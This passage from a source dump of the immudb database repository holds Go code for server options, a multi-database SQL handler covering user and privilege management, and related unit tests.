{ _, err := client.Get("https://0.0.0.0:9999") return err == nil }, 10*time.Second, 30*time.Millisecond) } func TestStartMetricsFail(t *testing.T) { save_metricsNamespace := metricsNamespace metricsNamespace = "failimmudb" defer func() { metricsNamespace = save_metricsNamespace }() server := StartMetrics( 100*time.Millisecond, "999.999.999.999:9999", nil, &mockLogger{}, func() float64 { return 0 }, func() map[string]float64 { return make(map[string]float64) }, func() map[string]float64 { return make(map[string]float64) }, func() float64 { return 1.0 }, func() float64 { return 2.0 }, false, ) time.Sleep(200 * time.Millisecond) defer server.Close() require.IsType(t, &http.Server{}, server) } func TestMetricsCollection_UpdateClientMetrics(t *testing.T) { mc := MetricsCollection{ UptimeCounter: prometheus.NewCounterFunc(prometheus.CounterOpts{}, func() float64 { return 0 }), RPCsPerClientCounters: prometheus.NewCounterVec( prometheus.CounterOpts{ Name: "test", }, []string{"test"}, ), LastMessageAtPerClientGauges: prometheus.NewGaugeVec( prometheus.GaugeOpts{ Namespace: "namespace_test", Subsystem: "subsystem_test", Name: "test", Help: "test", }, []string{ // Which user has requested the operation? "test", }, ), } ip := net.IP{} ip.UnmarshalText([]byte(`127.0.0.1`)) p := &peer.Peer{ Addr: &net.TCPAddr{ IP: ip, Port: 9999, Zone: "zone", }, } ctx := peer.NewContext(context.Background(), p) mc.UpdateClientMetrics(ctx) require.IsType(t, MetricsCollection{}, mc) } func TestMetricsCollection_UpdateDBMetrics(t *testing.T) { mc := MetricsCollection{ DBSizeGauges: prometheus.NewGaugeVec( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: "db_size_bytes", Help: "Database size in bytes.", }, []string{"db"}, ), DBEntriesGauges: prometheus.NewGaugeVec( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: "number_of_stored_entries", Help: "Number of key-value entries currently stored by the database.", }, []string{"db"}, ), } // update before injecting the funcs, to catch the fast-exit execution path mc.UpdateDBMetrics() mc.computeDBSizes = func() map[string]float64 { return map[string]float64{"db1": 111, "db2": 222} } mc.computeDBEntries = func() map[string]float64 { return map[string]float64{"db1": 10, "db2": 20} } // update after injecting the funcs, to catch the normal execution path mc.UpdateDBMetrics() require.IsType(t, MetricsCollection{}, mc) } func TestImmudbHealthHandlerFunc(t *testing.T) { req, err := http.NewRequest("GET", "/initz", nil) require.NoError(t, err) rr := httptest.NewRecorder() handler := corsHandlerFunc(ImmudbHealthHandlerFunc()) handler.ServeHTTP(rr, req) require.Equal(t, http.StatusOK, rr.Code) } func TestImmudbVersionHandlerFunc(t *testing.T) { // test OPTIONS /version req, err := http.NewRequest("OPTIONS", "/version", nil) require.NoError(t, err) rr := httptest.NewRecorder() handler := corsHandlerFunc(ImmudbVersionHandlerFunc) handler.ServeHTTP(rr, req) require.Equal(t, http.StatusNoContent, rr.Code) // test GET /version Version = VersionResponse{ Component: "immudb", Version: "1.2.3", BuildTime: time.Now().Format(time.RFC3339), BuiltBy: "SomeBuilder", Static: true, } req, err = http.NewRequest("GET", "/version", nil) require.NoError(t, err) rr = httptest.NewRecorder() handler = corsHandlerFunc(ImmudbVersionHandlerFunc) handler.ServeHTTP(rr, req) require.Equal(t, http.StatusOK, rr.Code) expectedBody, _ := json.Marshal(&Version) require.Equal(t, string(expectedBody)+"\n", rr.Body.String()) } func TestCORSHandler(t *testing.T) { rr := httptest.NewRecorder() req, err := http.NewRequest("GET", "/metrics", nil) require.NoError(t, err) handler := corsHandler(promhttp.Handler()) handler.ServeHTTP(rr, req) require.Equal(t, http.StatusOK, rr.Code) } ================================================ FILE: pkg/server/multidb_handler.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "fmt" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" ) type multidbHandler struct { s *ImmuServer } func (s *ImmuServer) multidbHandler() sql.MultiDBHandler { return &multidbHandler{s} } func (h *multidbHandler) UseDatabase(ctx context.Context, db string) error { if auth.GetAuthTypeFromContext(ctx) != auth.SessionAuth { return fmt.Errorf("%w: database selection from SQL statements requires session based authentication", ErrNotSupported) } _, err := h.s.UseDatabase(ctx, &schema.Database{DatabaseName: db}) return err } func (h *multidbHandler) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error { _, err := h.s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ Name: db, IfNotExists: ifNotExists, }) return err } func (h *multidbHandler) GetLoggedUser(ctx context.Context) (sql.User, error) { _, user, err := h.s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, err } db, err := h.s.getDBFromCtx(ctx, "SQLQuery") if err != nil { return nil, err } isSysAdmin := user.Username == auth.SysAdminUsername privileges := make([]sql.SQLPrivilege, 0, len(user.SQLPrivileges)) for _, p := range user.SQLPrivileges { if isSysAdmin || p.Database == db.GetName() { privileges = append(privileges, sql.SQLPrivilege(p.Privilege)) } } permCode := user.WhichPermission(db.GetName()) return &User{ username: user.Username, perm: sql.PermissionFromCode(permCode), sqlPrivileges: privileges, }, nil } func (h *multidbHandler) ListDatabases(ctx context.Context) ([]string, error) { res, err := h.s.DatabaseList(ctx, nil) if err != nil { return nil, err } dbs := make([]string, len(res.Databases)) for i, db := range res.Databases { dbs[i] = db.DatabaseName } return dbs, nil } func (h *multidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) { db, err := h.s.getDBFromCtx(ctx, "ListUsers") if err != nil { return nil, err } res, err := h.s.ListUsers(ctx, nil) if err != nil { return nil, err } users := make([]sql.User, 0, len(res.Users)) for _, user := range res.Users { if !user.Active { continue } var perm *schema.Permission isSysAdmin := string(user.User) == auth.SysAdminUsername if isSysAdmin { perm = &schema.Permission{Database: db.GetName()} } else { perm = findPermission(user.Permissions, db.GetName()) } privileges := make([]sql.SQLPrivilege, 0, len(user.SqlPrivileges)) for _, p := range user.SqlPrivileges { if isSysAdmin || p.Database == db.GetName() { privileges = append(privileges, sql.SQLPrivilege(p.Privilege)) } } if perm != nil { users = append(users, &User{username: string(user.User), perm: sql.PermissionFromCode(perm.Permission), sqlPrivileges: privileges}) } } return users, nil } func findPermission(permissions []*schema.Permission, database string) *schema.Permission { for _, perm := range permissions { if perm.Database == database { return perm } } return nil } type User struct { username string perm sql.Permission sqlPrivileges []sql.SQLPrivilege } func (usr *User) Username() string { return usr.username } func (usr *User) Permission() sql.Permission { return usr.perm } func (usr *User) SQLPrivileges() []sql.SQLPrivilege { return usr.sqlPrivileges } func permCode(permission sql.Permission) uint32 { switch permission { case sql.PermissionReadOnly: { return 1 } case sql.PermissionReadWrite: { return 2 } case sql.PermissionAdmin: { return 254 } } return 0 } func (h *multidbHandler) CreateUser(ctx context.Context, username, password string, permission sql.Permission) error { db, err := h.s.getDBFromCtx(ctx, "CreateUser") if err != nil { return err } _, err = h.s.CreateUser(ctx, &schema.CreateUserRequest{ User: []byte(username), Password: []byte(password), Database: db.GetName(), Permission: permCode(permission), }) return err } func (h *multidbHandler) AlterUser(ctx context.Context, username, password string, permission sql.Permission) error { _, user, err := h.s.getLoggedInUserdataFromCtx(ctx) if err != nil { return err } db, err := h.s.getDBFromCtx(ctx, "ChangePassword") if err != nil { return err } _, err = h.s.SetActiveUser(ctx, &schema.SetActiveUserRequest{ Username: username, Active: true, }) if err != nil { return err } _, err = h.s.ChangePassword(ctx, &schema.ChangePasswordRequest{ User: []byte(username), OldPassword: []byte(user.HashedPassword), NewPassword: []byte(password), }) if err != nil { return err } _, err = h.s.ChangePermission(ctx, &schema.ChangePermissionRequest{ Username: username, Database: db.GetName(), Action: schema.PermissionAction_GRANT, Permission: permCode(permission), }) return err } func (h *multidbHandler) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error { return h.changeSQLPrivileges(ctx, database, username, privileges, schema.PermissionAction_GRANT) } func (h *multidbHandler) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error { return h.changeSQLPrivileges(ctx, database, username, privileges, schema.PermissionAction_REVOKE) } func (h *multidbHandler) changeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege, action schema.PermissionAction) error { ps := make([]string, len(privileges)) for i, p := range privileges { ps[i] = string(p) } _, err := h.s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ Action: action, Username: username, Database: database, Privileges: ps, }) return err } func (h *multidbHandler) DropUser(ctx context.Context, username string) error { _, err := h.s.SetActiveUser(ctx, &schema.SetActiveUserRequest{ Username: username, Active: false, }) return err } func (h *multidbHandler) ExecPreparedStmts( ctx context.Context, opts *sql.TxOptions, stmts []sql.SQLStmt, params map[string]interface{}, ) (ntx *sql.SQLTx, committedTxs []*sql.SQLTx, err error) { db, err := h.s.getDBFromCtx(ctx, "SQLExec") if err != nil { return nil, nil, err } tx, err := db.NewSQLTx(ctx, opts) if err != nil { return nil, nil, err } return db.SQLExecPrepared(ctx, tx, stmts, params) } ================================================ FILE: pkg/server/multidb_handler_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/stretchr/testify/require" ) func TestServerMultidbHandler(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s, closer := testServer(serverOptions) defer closer() s.Initialize() r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } _, err := s.Login(context.Background(), r) require.NoError(t, err) multidbHandler := &multidbHandler{s: s} err = multidbHandler.UseDatabase(context.Background(), "defaultdb") require.Error(t, err) _, err = multidbHandler.ListDatabases(context.Background()) require.Error(t, err) _, err = multidbHandler.ListUsers(context.Background()) require.Error(t, err) err = multidbHandler.CreateUser(context.Background(), "user1", "user1Password!", "READ") require.Error(t, err) err = multidbHandler.AlterUser(context.Background(), "user1", "user1Password!", "READWRITE") require.Error(t, err) } ================================================ FILE: pkg/server/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "crypto/tls" "fmt" "net" "strconv" "strings" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/stream" "github.com/codenotary/immudb/pkg/auth" ) const SystemDBName = "systemdb" const DefaultDBName = "defaultdb" // Options server options list type Options struct { Dir string Network string Address string Port int Config string Pidfile string LogDir string Logfile string LogAccess bool LogRotationSize int LogRotationAge time.Duration AutoCert bool TLSConfig *tls.Config auth bool MaxRecvMsgSize int MaxResultSize int NoHistograms bool Detached bool MetricsServer bool MetricsServerPort int WebServer bool WebServerPort int DevMode bool AdminPassword string `json:"-"` ForceAdminPassword bool systemAdminDBName string defaultDBName string listener net.Listener usingCustomListener bool maintenance bool SigningKey string synced bool RemoteStorageOptions *RemoteStorageOptions StreamChunkSize int TokenExpiryTimeMin int PgsqlServer bool PgsqlServerPort int ReplicationOptions *ReplicationOptions SessionsOptions *sessions.Options PProf bool LogFormat string GRPCReflectionServerEnabled bool SwaggerUIEnabled bool LogRequestMetadata bool MaxActiveDatabases int } type RemoteStorageOptions struct { S3Storage bool S3RoleEnabled bool S3Role string S3Endpoint string S3AccessKeyID string S3SecretKey string `json:"-"` S3BucketName string S3Location string S3PathPrefix string S3ExternalIdentifier bool S3InstanceMetadataURL string S3UseFargateCredentials bool } type ReplicationOptions struct { IsReplica bool SyncReplication bool SyncAcks int // only if !IsReplica && SyncReplication PrimaryHost string // only if IsReplica PrimaryPort int // only if IsReplica PrimaryUsername string // only if IsReplica PrimaryPassword string // only if IsReplica PrefetchTxBufferSize int // only if IsReplica ReplicationCommitConcurrency int // only if IsReplica AllowTxDiscarding bool // only if IsReplica SkipIntegrityCheck bool // only if IsReplica WaitForIndexing bool // only if IsReplica } // DefaultOptions returns default server options func DefaultOptions() *Options { return &Options{ Dir: "./data", Network: "tcp", Address: "0.0.0.0", Port: 3322, Config: "configs/immudb.toml", Pidfile: "", Logfile: "", AutoCert: false, TLSConfig: nil, auth: true, MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb MaxResultSize: database.MaxKeyScanLimit, NoHistograms: false, Detached: false, MetricsServer: true, MetricsServerPort: 9497, WebServer: true, WebServerPort: 8080, DevMode: false, AdminPassword: auth.SysAdminPassword, ForceAdminPassword: false, systemAdminDBName: SystemDBName, defaultDBName: DefaultDBName, usingCustomListener: false, maintenance: false, synced: true, RemoteStorageOptions: DefaultRemoteStorageOptions(), StreamChunkSize: stream.DefaultChunkSize, TokenExpiryTimeMin: 1440, PgsqlServer: false, PgsqlServerPort: 5432, ReplicationOptions: DefaultReplicationOptions(), SessionsOptions: sessions.DefaultOptions(), PProf: false, GRPCReflectionServerEnabled: true, SwaggerUIEnabled: true, LogRequestMetadata: false, LogDir: "immulog", LogAccess: false, MaxActiveDatabases: 100, } } func DefaultRemoteStorageOptions() *RemoteStorageOptions { return &RemoteStorageOptions{ S3Storage: false, } } func DefaultReplicationOptions() *ReplicationOptions { return &ReplicationOptions{ IsReplica: false, SyncAcks: 0, PrefetchTxBufferSize: replication.DefaultPrefetchTxBufferSize, ReplicationCommitConcurrency: replication.DefaultReplicationCommitConcurrency, } } // WithDir sets dir func (o *Options) WithDir(dir string) *Options { o.Dir = dir return o } // WithNetwork sets network func (o *Options) WithNetwork(network string) *Options { o.Network = network return o } // WithAddress sets address func (o *Options) WithAddress(address string) *Options { o.Address = address return o } // WithPort sets port func (o *Options) WithPort(port int) *Options { o.Port = port return o } // WithConfig sets config file name func (o *Options) WithConfig(config string) *Options { o.Config = config return o } // WithPidfile sets pid file func (o *Options) WithPidfile(pidfile string) *Options { o.Pidfile = pidfile return o } // WithLogDir sets LogDir func (o *Options) WithLogDir(dir string) *Options { o.LogDir = dir return o } // WithLogfile sets logfile func (o *Options) WithLogfile(logfile string) *Options { o.Logfile = logfile return o } // WithLogRotationSize sets the log rotation size func (o *Options) WithLogRotationSize(size int) *Options { o.LogRotationSize = size return o } // WithLogRotationAge sets the log rotation age func (o *Options) WithLogRotationAge(age time.Duration) *Options { o.LogRotationAge = age return o } // WithLogAccess sets the log rotation age func (o *Options) WithLogAccess(enabled bool) *Options { o.LogAccess = enabled return o } func (o *Options) WithLogFormat(logFormat string) *Options { o.LogFormat = logFormat return o } // WithTLS sets tls config func (o *Options) WithTLS(tls *tls.Config) *Options { o.TLSConfig = tls return o } // WithAuth sets auth // Deprecated: WithAuth will be removed in future release func (o *Options) WithAuth(authEnabled bool) *Options { o.auth = authEnabled return o } func (o *Options) WithMaxRecvMsgSize(maxRecvMsgSize int) *Options { o.MaxRecvMsgSize = maxRecvMsgSize return o } // WithMaxResultSize sets the maximum number of results returned by any unary rpc method func (o *Options) WithMaxResultSize(maxResultSize int) *Options { o.MaxResultSize = maxResultSize return o } // GetAuth gets auth // Deprecated: GetAuth will be removed in future release func (o *Options) GetAuth() bool { return o.auth } // WithNoHistograms disables collection of histograms metrics (e.g. query durations) func (o *Options) WithNoHistograms(noHistograms bool) *Options { o.NoHistograms = noHistograms return o } // WithDetached sets immudb to be run in background func (o *Options) WithDetached(detached bool) *Options { o.Detached = detached return o } // Bind returns bind address func (o *Options) Bind() string { return o.Address + ":" + strconv.Itoa(o.Port) } // MetricsBind return metrics bind address func (o *Options) MetricsBind() string { return o.Address + ":" + strconv.Itoa(o.MetricsServerPort) } // WebBind return bind address for the Web API/console func (o *Options) WebBind() string { return o.Address + ":" + strconv.Itoa(o.WebServerPort) } // IsJSONLogger returns if the log format is json func (o *Options) IsJSONLogger() bool { return o.LogFormat == logger.LogFormatJSON } // IsFileLogger returns if the log format is to a file func (o *Options) IsFileLogger() bool { return o.Logfile != "" } // String print options func (o *Options) String() string { rightPad := func(k string, v interface{}) string { return fmt.Sprintf("%-17s: %v", k, v) } opts := make([]string, 0, 17) opts = append(opts, "================ Config ================") opts = append(opts, rightPad("Data dir", o.Dir)) opts = append(opts, rightPad("Address", fmt.Sprintf("%s:%d", o.Address, o.Port))) if o.MetricsServer { opts = append(opts, rightPad("Metrics address", fmt.Sprintf("%s:%d/metrics", o.Address, o.MetricsServerPort))) if o.PProf { opts = append(opts, rightPad("pprof enabled", "true")) } } repOpts := o.ReplicationOptions syncReplication := repOpts != nil && repOpts.SyncReplication isReplica := repOpts != nil && repOpts.IsReplica opts = append(opts, rightPad("Sync replication", syncReplication)) if syncReplication && !isReplica { opts = append(opts, rightPad("Sync acks", repOpts.SyncAcks)) } if isReplica { opts = append(opts, rightPad("Replica of", fmt.Sprintf("%s:%d", repOpts.PrimaryHost, repOpts.PrimaryPort))) } if o.Config != "" { opts = append(opts, rightPad("Config file", o.Config)) } if o.Pidfile != "" { opts = append(opts, rightPad("PID file", o.Pidfile)) } if o.Logfile != "" { opts = append(opts, rightPad("Log file", o.Logfile)) } if o.LogFormat != "" { opts = append(opts, rightPad("Log format", o.LogFormat)) } opts = append(opts, rightPad("Max recv msg size", o.MaxRecvMsgSize)) opts = append(opts, rightPad("Auth enabled", o.auth)) opts = append(opts, rightPad("Dev mode", o.DevMode)) opts = append(opts, rightPad("Default database", o.defaultDBName)) opts = append(opts, rightPad("Maintenance mode", o.maintenance)) opts = append(opts, rightPad("Synced mode", o.synced)) if o.SigningKey != "" { opts = append(opts, rightPad("Signing key", o.SigningKey)) } if o.RemoteStorageOptions.S3Storage { opts = append(opts, "S3 storage") if o.RemoteStorageOptions.S3RoleEnabled { opts = append(opts, rightPad(" role auth", o.RemoteStorageOptions.S3RoleEnabled)) if o.RemoteStorageOptions.S3UseFargateCredentials { opts = append(opts, rightPad(" fargate creds", o.RemoteStorageOptions.S3UseFargateCredentials)) } else { opts = append(opts, rightPad(" role name", o.RemoteStorageOptions.S3Role)) } } opts = append(opts, rightPad(" endpoint", o.RemoteStorageOptions.S3Endpoint)) opts = append(opts, rightPad(" bucket name", o.RemoteStorageOptions.S3BucketName)) if o.RemoteStorageOptions.S3Location != "" { opts = append(opts, rightPad(" location", o.RemoteStorageOptions.S3Location)) } opts = append(opts, rightPad(" prefix", o.RemoteStorageOptions.S3PathPrefix)) opts = append(opts, rightPad(" external id", o.RemoteStorageOptions.S3ExternalIdentifier)) if !o.RemoteStorageOptions.S3UseFargateCredentials { opts = append(opts, rightPad(" metadata url", o.RemoteStorageOptions.S3InstanceMetadataURL)) } } if o.AdminPassword == auth.SysAdminPassword { opts = append(opts, "----------------------------------------") opts = append(opts, "Superadmin default credentials") opts = append(opts, rightPad(" Username", auth.SysAdminUsername)) opts = append(opts, rightPad(" Password", auth.SysAdminPassword)) } opts = append(opts, "========================================") return strings.Join(opts, "\n") } // WithMetricsServer ... func (o *Options) WithMetricsServer(metricsServer bool) *Options { o.MetricsServer = metricsServer return o } // MetricsPort set Prometheus end-point port func (o *Options) WithMetricsServerPort(port int) *Options { o.MetricsServerPort = port return o } // WithWebServer ... func (o *Options) WithWebServer(webServer bool) *Options { o.WebServer = webServer return o } // WithWebServerPort ... func (o *Options) WithWebServerPort(port int) *Options { o.WebServerPort = port return o } // WithDevMode ... func (o *Options) WithDevMode(devMode bool) *Options { o.DevMode = devMode return o } // WithAdminPassword ... func (o *Options) WithAdminPassword(adminPassword string) *Options { o.AdminPassword = adminPassword return o } // WithForceAdminPassword ... func (o *Options) WithForceAdminPassword(forceAdminPassword bool) *Options { o.ForceAdminPassword = forceAdminPassword return o } // GetSystemAdminDBName returns the System database name func (o *Options) GetSystemAdminDBName() string { return o.systemAdminDBName } // GetDefaultDBName returns the default database name func (o *Options) GetDefaultDBName() string { return o.defaultDBName } // WithListener used usually to pass a bufered listener for testing purposes func (o *Options) WithListener(lis net.Listener) *Options { o.listener = lis o.usingCustomListener = true return o } // WithMaintenance sets maintenance mode func (o *Options) WithMaintenance(m bool) *Options { o.maintenance = m return o } // GetMaintenance gets maintenance mode func (o *Options) GetMaintenance() bool { return o.maintenance } // WithSynced sets synced mode func (o *Options) WithSynced(synced bool) *Options { o.synced = synced return o } // GetSynced gets synced mode func (o *Options) GetSynced() bool { return o.synced } // WithSigningKey sets signature private key func (o *Options) WithSigningKey(signingKey string) *Options { o.SigningKey = signingKey return o } // WithStreamChunkSize set the chunk size func (o *Options) WithStreamChunkSize(streamChunkSize int) *Options { o.StreamChunkSize = streamChunkSize return o } // WithTokenExpiryTime set authentication token expiration time in minutes func (o *Options) WithTokenExpiryTime(tokenExpiryTimeMin int) *Options { o.TokenExpiryTimeMin = tokenExpiryTimeMin return o } // PgsqlServerPort enable or disable pgsql server func (o *Options) WithPgsqlServer(enable bool) *Options { o.PgsqlServer = enable return o } // PgsqlServerPort sets pgdsql server port func (o *Options) WithPgsqlServerPort(port int) *Options { o.PgsqlServerPort = port return o } func (o *Options) WithRemoteStorageOptions(remoteStorageOptions *RemoteStorageOptions) *Options { o.RemoteStorageOptions = remoteStorageOptions return o } func (o *Options) WithReplicationOptions(replicationOptions *ReplicationOptions) *Options { o.ReplicationOptions = replicationOptions return o } func (o *Options) WithSessionOptions(options *sessions.Options) *Options { o.SessionsOptions = options return o } func (o *Options) WithPProf(pprof bool) *Options { o.PProf = pprof return o } func (o *Options) WithGRPCReflectionServerEnabled(enabled bool) *Options { o.GRPCReflectionServerEnabled = enabled return o } func (o *Options) WithSwaggerUIEnabled(enabled bool) *Options { o.SwaggerUIEnabled = enabled return o } func (o *Options) WithLogRequestMetadata(enabled bool) *Options { o.LogRequestMetadata = enabled return o } func (o *Options) WithMaxActiveDatabases(n int) *Options { o.MaxActiveDatabases = n return o } // RemoteStorageOptions func (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOptions { opts.S3Storage = S3Storage return opts } func (opts *RemoteStorageOptions) WithS3RoleEnabled(S3RoleEnabled bool) *RemoteStorageOptions { opts.S3RoleEnabled = S3RoleEnabled return opts } func (opts *RemoteStorageOptions) WithS3Role(S3Role string) *RemoteStorageOptions { opts.S3Role = S3Role return opts } func (opts *RemoteStorageOptions) WithS3Endpoint(s3Endpoint string) *RemoteStorageOptions { opts.S3Endpoint = s3Endpoint return opts } func (opts *RemoteStorageOptions) WithS3AccessKeyID(s3AccessKeyID string) *RemoteStorageOptions { opts.S3AccessKeyID = s3AccessKeyID return opts } func (opts *RemoteStorageOptions) WithS3SecretKey(s3SecretKey string) *RemoteStorageOptions { opts.S3SecretKey = s3SecretKey return opts } func (opts *RemoteStorageOptions) WithS3BucketName(s3BucketName string) *RemoteStorageOptions { opts.S3BucketName = s3BucketName return opts } func (opts *RemoteStorageOptions) WithS3Location(s3Location string) *RemoteStorageOptions { opts.S3Location = s3Location return opts } func (opts *RemoteStorageOptions) WithS3PathPrefix(s3PathPrefix string) *RemoteStorageOptions { opts.S3PathPrefix = s3PathPrefix return opts } func (opts *RemoteStorageOptions) WithS3ExternalIdentifier(s3ExternalIdentifier bool) *RemoteStorageOptions { opts.S3ExternalIdentifier = s3ExternalIdentifier return opts } func (opts *RemoteStorageOptions) WithS3InstanceMetadataURL(url string) *RemoteStorageOptions { opts.S3InstanceMetadataURL = url return opts } func (opts *RemoteStorageOptions) WithS3UseFargateCredentials(s3UseFargateCredentials bool) *RemoteStorageOptions { opts.S3UseFargateCredentials = s3UseFargateCredentials return opts } // ReplicationOptions func (opts *ReplicationOptions) WithIsReplica(isReplica bool) *ReplicationOptions { opts.IsReplica = isReplica return opts } func (opts *ReplicationOptions) WithSyncReplication(syncReplication bool) *ReplicationOptions { opts.SyncReplication = syncReplication return opts } func (opts *ReplicationOptions) WithSyncAcks(syncAcks int) *ReplicationOptions { opts.SyncAcks = syncAcks return opts } func (opts *ReplicationOptions) WithPrimaryHost(primaryHost string) *ReplicationOptions { opts.PrimaryHost = primaryHost return opts } func (opts *ReplicationOptions) WithPrimaryPort(primaryPort int) *ReplicationOptions { opts.PrimaryPort = primaryPort return opts } func (opts *ReplicationOptions) WithPrimaryUsername(primaryUsername string) *ReplicationOptions { opts.PrimaryUsername = primaryUsername return opts } func (opts *ReplicationOptions) WithPrimaryPassword(primaryPassword string) *ReplicationOptions { opts.PrimaryPassword = primaryPassword return opts } func (opts *ReplicationOptions) WithPrefetchTxBufferSize(prefetchTxBufferSize int) *ReplicationOptions { opts.PrefetchTxBufferSize = prefetchTxBufferSize return opts } func (opts *ReplicationOptions) WithReplicationCommitConcurrency(replicationCommitConcurrency int) *ReplicationOptions { opts.ReplicationCommitConcurrency = replicationCommitConcurrency return opts } func (opts *ReplicationOptions) WithAllowTxDiscarding(allowTxDiscarding bool) *ReplicationOptions { opts.AllowTxDiscarding = allowTxDiscarding return opts } func (opts *ReplicationOptions) WithSkipIntegrityCheck(skipIntegrityCheck bool) *ReplicationOptions { opts.SkipIntegrityCheck = skipIntegrityCheck return opts } func (opts *ReplicationOptions) WithWaitForIndexing(waitForIndexingç bool) *ReplicationOptions { opts.WaitForIndexing = waitForIndexingç return opts } ================================================ FILE: pkg/server/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "crypto/tls" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" ) func TestOptions(t *testing.T) { op := DefaultOptions() if op.GetAuth() != true || op.GetMaintenance() != false || op.GetDefaultDBName() != DefaultDBName || op.GetSystemAdminDBName() != SystemDBName || op.Detached != false || op.DevMode != false || op.NoHistograms != false || op.AdminPassword != auth.SysAdminPassword || op.ForceAdminPassword != false || op.Address != "0.0.0.0" || op.Network != "tcp" || op.Port != 3322 || op.MetricsServer != true || op.MetricsServerPort != 9497 || op.Config != "configs/immudb.toml" || op.Pidfile != "" || op.StreamChunkSize != stream.DefaultChunkSize || op.Logfile != "" || op.WebServer != true || op.WebServerPort != 8080 || op.WebBind() != "0.0.0.0:8080" || op.MetricsBind() != "0.0.0.0:9497" || op.PgsqlServer || op.PgsqlServerPort != 5432 || op.PProf != false || op.IsFileLogger() != false || op.IsJSONLogger() != false { t.Errorf("database default options mismatch") } } func TestReplicationOptions(t *testing.T) { repOpts := &ReplicationOptions{} repOpts. WithIsReplica(true). WithSyncReplication(false). WithSyncAcks(0). WithPrimaryHost("localhost"). WithPrimaryPort(3322). WithPrimaryUsername("primary-user"). WithPrimaryPassword("primary-pwd"). WithPrefetchTxBufferSize(100). WithReplicationCommitConcurrency(5). WithAllowTxDiscarding(true). WithSkipIntegrityCheck(true). WithWaitForIndexing(true) require.True(t, repOpts.IsReplica) require.False(t, repOpts.SyncReplication) require.Zero(t, repOpts.SyncAcks) require.Equal(t, "localhost", repOpts.PrimaryHost) require.Equal(t, 3322, repOpts.PrimaryPort) require.Equal(t, "primary-user", repOpts.PrimaryUsername) require.Equal(t, "primary-pwd", repOpts.PrimaryPassword) require.Equal(t, 100, repOpts.PrefetchTxBufferSize) require.Equal(t, 5, repOpts.ReplicationCommitConcurrency) require.True(t, repOpts.AllowTxDiscarding) require.True(t, repOpts.SkipIntegrityCheck) require.True(t, repOpts.WaitForIndexing) // primary-related settings repOpts. WithIsReplica(false). WithSyncReplication(true). WithSyncAcks(1) require.False(t, repOpts.IsReplica) require.True(t, repOpts.SyncReplication) require.Equal(t, 1, repOpts.SyncAcks) } func TestSetOptions(t *testing.T) { tlsConfig := &tls.Config{Certificates: []tls.Certificate{}} op := DefaultOptions().WithDir("immudb_dir").WithNetwork("udp"). WithAddress("localhost"). WithPort(2048). WithPidfile("immu.pid"). WithAuth(false). WithMaxRecvMsgSize(4096). WithDetached(true). WithNoHistograms(true). WithMetricsServer(false). WithDevMode(true).WithLogfile("logfile"). WithAdminPassword("admin"). WithForceAdminPassword(true). WithStreamChunkSize(4096). WithWebServerPort(8081). WithTokenExpiryTime(52). WithWebServer(false). WithTLS(tlsConfig). WithPgsqlServer(true). WithPgsqlServerPort(123456). WithPProf(true). WithLogFormat(logger.LogFormatJSON) if op.GetAuth() != false || op.Dir != "immudb_dir" || op.Network != "udp" || op.Address != "localhost" || op.Port != 2048 || op.Config != "configs/immudb.toml" || op.Pidfile != "immu.pid" || op.GetAuth() != false || op.MaxRecvMsgSize != 4096 || op.Detached != true || op.NoHistograms != true || op.MetricsServer != false || op.DevMode != true || op.Logfile != "logfile" || op.AdminPassword != "admin" || op.ForceAdminPassword != true || op.StreamChunkSize != 4096 || op.WebServerPort != 8081 || 